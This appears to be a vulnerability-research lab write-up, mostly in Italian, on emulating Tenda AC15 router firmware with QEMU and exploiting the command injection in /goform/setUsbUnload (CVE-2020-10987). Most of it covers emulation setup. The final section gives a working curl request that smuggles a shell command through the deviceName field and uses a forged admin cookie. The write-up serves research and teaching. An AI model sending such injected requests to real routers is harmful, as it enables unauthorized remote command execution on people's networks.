
Writeup per la replicazione dell'exploit relativo al rehosting del firmware del router Tenda AC15 e all'esecuzione remota di comandi (CVE-2020-10987).
Questo write-up mostra esattamente come ho emulato il webserver del firmware AC15 (V15.03.05.19) con QEMU, come l'ho reso raggiungibile dal browser dell'host e come ho esercitato l'handler vulnerabile /goform/setUsbUnload (CVE-2020-10987) per ottenere l'esecuzione di comandi all'interno della rootfs emulata.
squashfs dall'immagine del firmware e inizia il reversingPer prima cosa dobbiamo ottenere la nostra immagine del firmware. Non sono riuscito a trovare il download dell'immagine per AC15 V15.03.05.19, ma sono riuscito a trovare un repository GitHub con il filesystem squashfs già estratto.
Se avessimo il file immagine corretto, potremmo estrarlo usando binwalk in questo modo,```
user@computer $ binwalk -e AC15_V15.03.05.19.bin
64 0x40 TRX firmware header, little endian, image size: 6778880 bytes, CRC32: 0x80AD82D6, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1A488C, rootfs offset: 0x0 92 0x5C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4177792 bytes 1722572 0x1A48CC Squashfs filesystem, little endian, version 4.0, compression:xz, size: 5052332 bytes, 848 inodes, blocksize: 131072 bytes, created: 2017-04-19 16:18:08
user@computer $ cd _AC15_V15.03.05.19.bin.extracted
Poiché non abbiamo il file immagine corretto ma un repository con il filesystem già estratto, possiamo semplicemente clonare il repository.```
git clone https://github.com/lapinpt/Tenda-AC15-Firmware-V15.03.05.19-9061
I have made a directory called VR and cloned this repo inside it. My rootfs is at $HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs
Great now we have our AC15 V15.03.05.19 firmware. Lets move onto some reversing to see whats going on.
I will be using Ghidra 11.4.2 for my reversing.
Lets navigate to our target binary here rootfs/bin/httpd and load it in Ghidra.
If we go to the formsetUsbUnload function we can see,```C
uVar1 = FUN_0002bd4c(param_1,"deviceName",&DAT_000f4bdc);
doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s",0x33,3,uVar1);
FUN_0002c6cc(param_1,"HTTP/1.0 200 OK\r\n\r\n");
FUN_0002c6cc(param_1,"{"errCode":0}");
FUN_0002cc14(param_1,200);
return;
Questa è la vulnerabilità. Il parametro `deviceName` viene passato direttamente a `doSystemCmd` consentendoci di inviare qualunque comando vogliamo.
Ora, poiché rehostaremo questo firmware usando qemu e non l'hardware originale del router, alcuni programmi proveranno a raggiungere dispositivi che non ci sono e manderanno in crash il nostro avvio.
Poiché il nostro obiettivo è sfruttare il webserver (`httpd`), mi sono concentrato solo sul rehosting di quel binario, non sull'intero avvio (`/rootfs/etc_ro/init.d/rcS`). _Col senno di poi non sono sicuro che fosse la mossa giusta_
Quindi, guardando `rcS`, volevo trovare qualsiasi cosa che `rcS` potesse fare e di cui `httpd` avesse bisogno. Verso la fine del file possiamo vedere:```bash
cfmd &
echo '' > /proc/sys/kernel/hotplug
udevd &
logserver &
rcS avvia cfmd in background subito prima che il resto dello stack si avvii.
Dopo ulteriori ricerche e dopo aver osservato come la funzione vulnerabile invia il comando, sono giunto alla conclusione che:
httpd costruisce un cfm postcfm comunica con cfmd tramite un socket di dominio UNIX (ad es. /var/cfm_socket)Nella routine InitServer in cfmd possiamo vedere```C
unlink("/var/cfm_socket");
strncpy(sa_unix.sun_path, "/var/cfm_socket", ...);
bind(fd, (sockaddr*)&sa_unix, 0x6e);
listen(fd, 5);
Crea una socket UIX e resta in ascolto.
In generale, il funzionamento è che l'handler legge un frame fisso di 0x7e0 byte da ogni client (`RecvMsg`/`SendMsg`). I primi 4 byte sono un codice di comando; poi c'è un buffer per la chiave di 512 byte e un buffer per il valore di 1500 byte (puoi vedere le dimensioni degli oggetti sullo stack nell'handler). Fa lo switch sull'opcode e risponde con un codice ACK:
- `2` -> Get: `GetCfmValue(key, value)` poi risponde con codice `3`
- `0` -> Set: `SetCfmValue(key, value)` poi risponde con codice `1`
- `0x11` -> Unset: `UnSetCfmValue(key)` poi risponde con codice `0x12`
- `10` -> Commit: `SaveCfm2Flash()` poi risponde `0x10` (OK) o `0xB` (errore)
Quindi, per emulare `cfmd`, ho creato un breve script `cfm_stub````C
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>
#define SOCK_PATH "/var/cfm_socket"
// minimal UNIX-domain server that httpd expects.
// Replies with an IP string when it sees the key it asks for.
int main(void) {
int s = socket(AF_UNIX, SOCK_STREAM, 0);
struct sockaddr_un addr = {0};
if (s < 0) { perror("socket"); return 1; }
unlink(SOCK_PATH);
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, SOCK_PATH, sizeof(addr.sun_path)-1);
if (bind(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) { perror("bind"); return 1; }
if (listen(s, 5) < 0) { perror("listen"); return 1; }
for (;;) {
int c = accept(s, NULL, NULL);
if (c < 0) { if (errno==EINTR) continue; perror("accept"); break; }
char buf[1024]; ssize_t n = read(c, buf, sizeof(buf));
if (n > 0) {
// In some builds httpd asks for "lan.webiplansslen" etc.
// Any non-empty reply that looks like an IP keeps init happy.
const char *reply = "192.168.0.1";
write(c, reply, strlen(reply));
}
close(c);
}
close(s);
return 0;
}
Mostrerò come compilare questo dopo la parte successiva.
Il prossimo file helper è hooks.so. Ci sono alcune funzioni usate in httpd e cfm che tentano di interagire con hardware inesistente.
Il seguente è ciò che il nostro programma presuppone all'avvio:
/dev/nvram) che restituisce valori predefiniti sensati.Le seguenti funzioni diventano un problema e quindi dobbiamo applicare la patch con LD_PRELOAD=/hooks.so.
get_flash_type() -> se restituisce 4, il codice prende un percorso basato su file (cfm_file_init), altrimenti prova a comunicare con MTD (che non abbiamo).get_cfm_blk_size_from_cache() (e/o la variante j_get_cfm_blk_size_from_cache) viene consultata per il dimensionamento del blocco di configurazione.bcm_nvram_get) non devono fallire, altrimenti lo stack presume “NVRAM distrutta” e procede con la logica di ripristino/riavvio.load_l7setting_file() e restore_power() devono riuscire, ma toccano hardware/file inesistenti.Ecco il nostro hooks.c. Crediti a azeria-labs per l'originale.```C
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
#include <string.h>
int j_get_cfm_blk_size_from_cache(const int i) { puts("j_get_cfm_blk_size_from_cache called....\n"); return 0x20000; // 128 KiB block — what the file path expects }
int get_flash_type() { puts("get_flash_type called....\n"); return 4; // force file-backed CFM init, not MTD }
int load_l7setting_file() { puts("load_l7setting_file called....\n"); return 1; // pretend Layer-7 settings loaded OK }
int restore_power(int a, int b) { puts("restore_power called....\n"); return 0; // success (don’t touch RF/power hardware) }
char *bcm_nvram_get(char *key) { char *value = NULL;
if (strcmp(key, "et0macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FE"); // any valid MAC works } if (strcmp(key, "sb/1/macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FD"); } if (strcmp(key, "default_nvram") == 0) { value = strdup("default_nvram"); // signals “nvram is OK” }
printf("bcm_nvram_get(%s) == %s\n", key, value); return value; }
Ora compiliamo questi file e posizioniamoli nel nostro firmware.
Per la cross-compilazione possiamo usare la toolchain uClibc precompilata di Bootlin.```bash
wget https://toolchains.bootlin.com/downloads/releases/toolchains/armv5-eabi/tarballs/armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
tar xjf armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
export PATH="$PWD/armv5-eabi--uclibc--stable-2020.08-1/bin:$PATH"
ls armv5-eabi--uclibc--stable-2020.08-1/bin | grep gcc
Dovresti vedere qualcosa come il seguente```bash arm-buildroot-linux-uclibcgnueabi-gcc arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0 arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0.br_real arm-buildroot-linux-uclibcgnueabi-gcc-ar arm-buildroot-linux-uclibcgnueabi-gcc.br_real arm-buildroot-linux-uclibcgnueabi-gcc-nm arm-buildroot-linux-uclibcgnueabi-gcc-ranlib arm-linux-gcc arm-linux-gcc-9.3.0 arm-linux-gcc-9.3.0.br_real arm-linux-gcc-ar arm-linux-gcc.br_real arm-linux-gcc-nm arm-linux-gcc-ranlib
Ora possiamo compilare con```bash
arm-buildroot-linux-uclibcgnueabi-gcc -shared -fPIC -Os -ldl -Wl,-soname,hooks.so -o hooks.so hooks.c
arm-buildroot-linux-uclibcgnueabi-gcc -Os -s -o cfm_stub cfm_stub.c
Poi infine installali nel firmware``` $FIRM = "$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs" install -m 0644 ./hooks.so "$FIRM/hooks.so" install -D -m 0755 ./cfm_stub "$FIRM/usr/sbin/cfm_stub"
## Costruzione del sistema guest ARM
Configuriamo il nostro guest arm usando qemu full system.
Ho creato una directory per contenere questo sistema guest in `~/qsys`
Ora in questa directory configuriamo il nostro guest eseguendo i seguenti passaggi```bash
sudo apt-get install -y qemu-system-arm qemu-utils debootstrap qemu-user-static binfmt-support
mkdir -p ~/qsys/rootfs-armhf
sudo debootstrap --arch=armhf --foreign bookworm ~/qsys/rootfs-armhf http://deb.debian.org/debian
sudo cp /usr/bin/qemu-arm-static ~/qsys/rootfs-armhf/usr/bin/
sudo chroot ~/qsys/rootfs-armhf /debootstrap/debootstrap --second-stage
cat | sudo tee ~/qsys/rootfs-armhf/etc/apt/sources.list >/dev/null <<'EOF'
deb http://deb.debian.org/debian bookworm main
EOF
sudo chroot ~/qsys/rootfs-armhf apt-get update
sudo chroot ~/qsys/rootfs-armhf apt-get install -y \
net-tools iproute2 iputils-ping python3 busybox-syslogd openssh-server \
ifupdown curl ca-certificates
sudo chroot ~/qsys/rootfs-armhf bash -lc 'echo "root:root" | chpasswd'
Questo creerà il nostro rootfs armhf, aggiornerà il nostro guest, configurerà alcuni strumenti di base, quindi imposterà il nostro username:password di root su root:root.
Poi installa il kernal armhf con```bash sudo chroot ~/qsys/rootfs-armhf apt-get install -y linux-image-armmp
Poi estraiamo il kernal e creiamo l'immagine ext4```bash
mkdir -p ~/qsys/kernel
KVER=$(ls ~/qsys/rootfs-armhf/boot/vmlinuz-* | sed 's#.*/vmlinuz-##')
cp ~/qsys/rootfs-armhf/boot/vmlinuz-$KVER ~/qsys/kernel/zImage
cp ~/qsys/rootfs-armhf/usr/lib/linux-image-$KVER/vexpress-v2p-ca9.dtb ~/qsys/kernel/
dd if=/dev/zero of=~/qsys/armhf.ext4 bs=1M count=2048
mkfs.ext4 -F ~/qsys/armhf.ext4
sudo mount ~/qsys/armhf.ext4 /mnt
sudo rsync -aHAX ~/qsys/rootfs-armhf/ /mnt/
sudo umount /mnt
Ora per avviare il nostro sistema guest
Da ~/qsys esegui```bash
qemu-system-arm
-M vexpress-a9 -cpu cortex-a9 -m 512M
-kernel ./kernel/zImage
-dtb ./kernel/vexpress-v2p-ca9.dtb
-initrd ./kernel/initrd.img
-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"
-nographic -audiodev none,id=noaudio
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80
-device virtio-net-device,netdev=net0
-drive file=./armhf.ext4,if=sd,format=raw
-fsdev local,id=fsdev0,path=$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs,security_model=none,readonly=on
-device virtio-9p-device,fsdev=fsdev0,mount_tag=fw
Ecco una rapida panoramica di cosa significano realmente queste righe nel comando di avvio.
- `-M vexpress-a9 -cpu cortex-a9 -m 512M` Usa il modello di scheda Versatile Express A9 (una scheda supportata dal kernel armmp di Debian)
- `-kernel/-dtb/-initr` Avvia il kernel/initrd di Debian per questa scheda, con il device-tree blob di vexpress
- `-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"` Configurazione standard rootfs su SD con console seriale su PL011.
- `-nographic -audiodev none,id=noaudio` Interfaccia solo seriale (nessuna finestra SDL) e nessun audio.
- `-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80` NAT in modalità utente di QEMU; inoltra `host:2222` a `guest:22` e `host:8080` a `guest:80`. Questo è importante per il networking. Ne parleremo più avanti.
- `-device virtio-net-device,netdev=net0` Collega una NIC al backend `net0`.
- `-drive file=./armhf.ext4,if=sd,format=raw` La rootfs di Debian risiede su un dispositivo a blocchi simile a una SD (`/dev/mmcblk0`).
- `-fsdev ... -device virtio-9p-device ... mount_tag=fw` Espone la rootfs del firmware (in sola lettura) all'interno della guest tramite 9p con tag `fw`. La monteremo su `/firmware` e aggiungeremo un overlayfs sopra per la scrivibilità.
Ora, all'interno della guest, potresti ricevere alcuni errori. Va bene, purché arrivi al prompt di login e riesca ad accedere con `root:root`.
Successivamente, per avere internet sul sistema guest, esegui il seguente comando```
dhclient -v eth0 || udhcpc -i eth0
Questo otterrà un lease DHCP su eth0
Ora installa socat``` apt-get update && apt-get install -y socat
## Script di avvio
Ora creiamo il nostro script di avvio nella directory root dell'ospite.```bash
nano boot_tenda.sh
Ecco il nostro script di avvio /root/boot_tenda_sh all'interno della nostra guest con commenti che spiegano ogni passaggio.```bash
set -e
mkdir -p /firmware mountpoint -q /firmware || mount -t 9p -o trans=virtio,version=9p2000.L fw /firmware
for m in /mnt/fw/dev /mnt/fw/proc /mnt/fw/sys /mnt/fw; do umount -l "$m" 2>/dev/null || true; done
rm -rf /overlay_run
mkdir -p /overlay_run/upper /overlay_run/work /mnt/fw
mount -t overlay overlay
-o lowerdir=/firmware,upperdir=/overlay_run/upper,workdir=/overlay_run/work
/mnt/fw
mount --bind /dev /mnt/fw/dev mount --bind /proc /mnt/fw/proc mount --bind /sys /mnt/fw/sys mkdir -p /mnt/fw/var/log /mnt/fw/var/run /mnt/fw/tmp
ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up
pidof syslogd >/dev/null || syslogd
chroot /mnt/fw /bin/sh -c 'mkdir -p /webroot; cp -r /webroot_ro/* /webroot/ 2>/dev/null || true'
chroot /mnt/fw /bin/sh -c '/usr/sbin/cfm_stub >/var/log/cfm_stub.log 2>&1 &' sleep 1 [ -S /overlay_run/upper/var/cfm_socket ] && echo "cfm socket up" || echo "no cfm socket"
chroot /mnt/fw /bin/sh -c 'export LD_LIBRARY_PATH=/lib:/usr/lib; LD_PRELOAD=/hooks.so /bin/httpd >/var/log/httpd.log 2>&1 &' sleep 2
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')
if command -v socat >/dev/null; then
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80
>/root/socat.log 2>&1 &
else
echo "socat not found"
fi
(ss -lntp || netstat -lntp) 2>/dev/null | grep -E '(:80\b|httpd)' || true
Ora è il momento di eseguirlo```
chmod +x /root/boot_tenda.sh
/root/boot_tenda.sh
Dovresti vedere un listener sulla porta 80 con httpd
Per verificare ulteriormente, naviga su http://127.0.0.1:8080/ sul tuo host e potremo vedere la homepage del router.
Se vuoi saperne di più su come funziona il networking, continua a leggere; altrimenti puoi saltare all'ultima sezione dove sfruttiamo il webserver.
Avevamo bisogno di caricare l'httpd del router all'interno del guest ma renderlo raggiungibile dal browser dell'host su http://127.0.0.1:8080/ mentre il server crede ancora di essere in ascolto sull'IP LAN del router (192.168.0.1).
Ci sono tre elementi che lo rendono possibile:
br0 su 192.168.0.1)socat)Lo facciamo nel comando di avvio quando specifichiamo```bash -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80 -device virtio-net-device,netdev=net0
- `-netdev user,...` abilita slirp (la NAT in modalità utente di QEMU): la guest ottiene accesso a Internet in uscita (DHCP, DNS) senza bisogno di bridge root o dispositivi TAP sull'host.
- `hostfwd=tcp::2222-:22` inoltra la porta host 2222 -> porta guest 22.
- `hostfwd=tcp::8080-:80` inoltra la porta host 8080 -> porta guest 80.
Poi otteniamo la lease DHCP per `eth0`. Nota che Slirp in genere assegna alla guest `10.0.2.15`, con il gateway su `10.0.2.2`.```bash
dhclient -v eth0 || udhcpc -i eth0
Il firmware reale si aspetta di fare bind sul bridge LAN br0 a 192.168.0.1. Ricreiamo questa condizione:```bash ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up
- I binari (o le loro librerie) spesso interrogano i nomi delle interfacce (es. `lan_ifname=br0`) e si aspettano un dispositivo bridge.
- Associare httpd a `192.168.0.1` mantiene comportamento/redirect (es. `302` verso `http://192.168.0.1/main.html`) identici al dispositivo reale.
- A questo punto httpd è in ascolto solo su `192.168.0.1:80` (non su `eth0` della guest).
### 3. Ponte hostfwd -> listener del firmware con `socat`
`host:8080` -> `guest:80` è già configurato da QEMU. Ma `httpd` non è in ascolto su `eth0:80` della guest; è in ascolto su `192.168.0.1:80`. Quindi all'interno della guest aggiungiamo un piccolo relay TCP:```bash
# find the slirp IP (usually 10.0.2.15)
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')
# forward guest:eth0:80 → 192.168.0.1:80
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80 \
>/root/socat.log 2>&1 &
Ecco il layout complessivo``` Host browser (127.0.0.1:8080) │ V QEMU hostfwd:8080 → guest:80 (on eth0 @ 10.0.2.15) │ V socat in guest: 10.0.2.15:80 → 192.168.0.1:80 │ V httpd bound at 192.168.0.1:80 (inside firmware chroot)
## Tempo di Exploit
Lo stack web protegge gli endpoint "goform" dietro alcuni controlli same-origin/AJAX e un cookie "logged in". Invia gli stessi header che invierebbe il JavaScript dell'interfaccia utente:```bash
curl -v \
-H 'Host: 192.168.0.1' \
-H 'Origin: http://192.168.0.1' \
-H 'Referer: http://192.168.0.1/index.html' \
-H 'X-Requested-With: XMLHttpRequest' \
-H 'Cookie: user=admin; password=21232f297a57a5a743894a0e4a801fc3' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'deviceName=$(touch /tmp/Hello_World)' \
http://127.0.0.1:8080/goform/setUsbUnload
Cosa fa esattamente?
Host/Origin/Referer/X-Requested-With supera i controlli AJAX + same-origin nell'handlerCookie: user=admin; password=<md5> simula una sessione autenticata. In questo caso ho usato md5("admin") = 21232f297a57a5a743894a0e4a801fc3deviceName=$(touch /tmp/Hello_World) imposta il nome del dispositivo al comando che vogliamo eseguire. In questo caso stiamo creando un file /tmp/Hello_World
Nota che l'esecuzione di questo comando si bloccherà per un po' e poi molto probabilmente chiuderà la connessione con un errore. Questo è normale ed è la prova che ha funzionato.Successivamente, nella guest, per verificare ulteriormente, possiamo controllare l'esistenza del nostro nuovo file.```bash chroot /mnt/fw /bin/sh -c 'ls -l /tmp/Hello_World && echo "success it worked!"
Dovresti vedere```
-rw-r--r-- 1 root root 0 ... /tmp/Hello_World
success it worked!
Abbiamo sfruttato con successo il nostro router ri-ospitato eseguendo il comando che avevamo inviato